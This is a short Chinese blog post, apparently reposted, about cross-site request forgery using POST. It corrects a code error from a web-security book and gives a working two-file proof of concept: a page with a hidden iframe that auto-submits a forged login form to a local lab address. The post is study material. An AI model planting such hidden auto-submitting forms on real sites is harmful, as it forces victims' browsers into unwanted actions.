CSRF之POST


最近重溫《白帽子講web安全》一書,看到第4章CSRF的時候,發現有個錯誤的地方,第116頁底部的代碼中有個坑,那段代碼是運行不了的。原因是在form表單中有個<input type=submit name="submit" value="submit">,因為name="submit"會和js代碼中的f.submit()沖突,導致f.submit()的方法執行不了。

最后自己改了下代碼做了下實驗

fake.html

 1 <!DOCTYPE html>
 2 <html lang="en">
 3 <head>
 4     <meta charset="UTF-8">
 5     <title>CSRF 1</title>
 6 </head>
 7 <body>
 8     <div>
 9         hello
10     </div>
11     <iframe src="./csrf.html" frameborder="0" hidden="hidden"></iframe>    
12 </body>
13 </html>

CSRF.html

 1 <!DOCTYPE html>
 2 <html lang="en">
 3 <head>
 4     <meta charset="UTF-8">
 5     <title>CSRF</title>
 6 </head>
 7 <body>
 8     <form action="http://192.168.1.188/mycode/csrf.php" id="test" method="POST">
 9         <input type="text" name="user"><br>
10         <input type="text" name="pass">
11         
12     </form>
13 </body>
14 <script>
15     var f=document.getElementById("test");
16     f.getElementsByTagName("input")[0].value="user";
17     f.getElementsByTagName("input")[1].value="pass";
18     f.submit();
19 </script>
20 </html>

在firebug中查看網絡數據包可以看到POST成功

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM